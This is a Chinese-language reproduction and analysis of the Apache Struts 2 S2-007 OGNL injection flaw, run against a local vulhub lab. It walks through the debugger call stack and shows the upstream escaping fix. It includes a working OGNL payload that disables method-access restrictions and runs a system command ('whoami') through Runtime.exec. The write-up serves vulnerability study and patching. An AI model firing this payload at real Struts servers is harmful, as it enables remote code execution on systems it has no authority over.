S2-007復現分析
一、漏洞資訊
漏洞資訊頁面:
S2-007 - Apache Struts 2 Wiki - Apache Software Foundation
漏洞型別:
RCE(遠端程式碼執行)
受影響元件:
Struts 2.0.0 - Struts 2.2.3
漏洞成因:
當配置了驗證規則,型別轉換出錯時,進行了錯誤的字串拼接,進而造成了OGNL語句的執行。
二、環境搭建
IDE:Eclipse IDE for Enterprise Java and Web Developers
Java:JDK1.8
Tomcat:8.5.75
Struts:2.2.3(https://github.com/vulhub/vulhub/struts/s2-007)
三、漏洞利用
UserAction-validation.xml中配置了age為int型別,範圍為1-150。
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE validators PUBLIC "-//OpenSymphony Group//XWork Validator 1.0//EN" "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"> <validators> <field name="age"> <field-validator type="int"> <param name="min">1</param> <param name="max">150</param> </field-validator> </field> </validators>
訪問http://localhost:8080/S2-007/index.jsp,age處輸入'+(#application)+'
application為com.opensymphony.xwork2.ActionContext中的string常量
點選submit,返回了web應用的相關資訊
執行任意命令
' + (#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
官方通過增加安全配置禁止靜態方法呼叫(allowStaticMethodAcces)和類方法執行(MethodAccessor.den
yMethodExecution)來禁止執行方法。通過設定allowStaticMethodAccess
為true,和denyMethodExecution
為false,從而導致任意命令執行。
四、漏洞分析
在com.opensymphony.xwork2.interceptor.PrepareInterceptor.class的doIntercept()方法下斷點,除錯程式
跟進到ConversionErrorInterceptor.class,函式呼叫棧如下
獲取到age以及age對應的value ' +(#application)+ '
跟蹤到fakie.put,步入getOverrideExpr
在getOverrideExpr中,value ' +(#application)+ '
左右兩邊被添加了'
fakie變為{age='' +(#application)+ ''}
跟蹤invocation.invoke(),最後在tryFindValue中呼叫getValue執行OGNL表示式
完整函式呼叫棧如下
五、漏洞修復
在Struts 2.2.3.1中官方修改了getOverrideExpr函式,對輸入進行了轉義,後續過程中只會作為字串解析。
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return escape(value);
}
protected String escape(Object value) {
return "\"" + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"";
}